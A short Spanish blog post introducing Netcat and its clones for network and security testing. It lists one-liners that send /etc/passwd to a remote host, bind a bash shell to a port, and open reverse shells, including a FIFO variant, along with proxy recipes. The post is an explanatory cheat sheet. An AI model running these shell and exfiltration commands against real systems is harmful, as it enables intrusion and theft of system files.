Netcat es una utilidad
proveniente del mundo del hacking que se ha convertido en una
herramienta imprescindible para muchos administradores de redes y
sistemas.
Definida por algunos como la navaja suiza del TCP/IP, Netcat es una
herramienta de red que permite enviar y recibir conexiones TCP y UDP
desde línea de comandos y redirigir el input/output hacia otros
comandos.
Esta versatilidad la convierte en muy útil a la hora de realizar pruebas
de seguridad o simulacros de intrusión. Permitiendo por ejemplo:
• Enviar un fichero a un equipo remoto
cat /etc/passwd | nc -v 1.1.1.1 666
• Abrir una shell en un puerto
ncat -v -l 1111 -c “/bin/bash -i 2>&1”
• Enviar una shell a un equipo remoto
ncat -v 1.1.1.1 666 -c “/bin/bash -i 2>&1”
* Si la versión de Netcat no permite invocar comandos directamente, podemos utilizar un fichero de FIFO:
mkfifo pipe
/bin/bash -i < pipe | nc -v 1.1.1.1 666 > pipe
• Hacer de proxy directo (aceptar una conexión entrante y abrir una conexión saliente)
ncat -v -l 1111 -c "ncat www.google.es 80"
* Si la versión de Netcat no permite invocar comandos:
mkfifo pipe
nc -v -l 1111 < pipe | nc www.google.es 80 > pipe
• Hacer de proxy combinado (p.e. unir 2 conexiones salientes o 2 conexiones entrantes)
ncat -v -l 1111 -c "ncat -l 2222"
* Si la versión de Netcat no permite invocar comandos:
mkfifo pipe
nc -v -l 1111 < pipe | nc -l 2222 > pipe
* Y si tampoco disponemos de FIFO podemos utilizar el comando “tail”:
echo -en "" > pipe.txt
tail -f pipe.txt | nc -v -l 1111 | nc -l 2222 > pipe.txt
A partir del Netcat original y como muestra de su éxito se han creado
varios clones con mejoras y nuevas funcionalidades, por ejemplo:
permitir conexiones cifradas, uso de proxies, conexiones múltiples,
IPv6, etc.
Los clones más populares son:
Netcat (original)
GNU Netcat
Ncat
Sbd
Socat
SslNetcat
Pnetcat
Cryptcat
Aunque muchas distribuciones de Linux llevan ya incluida alguna de estas
herramientas de forma que ni siquiera necesitaremos instalarla.
No hay comentarios:
Publicar un comentario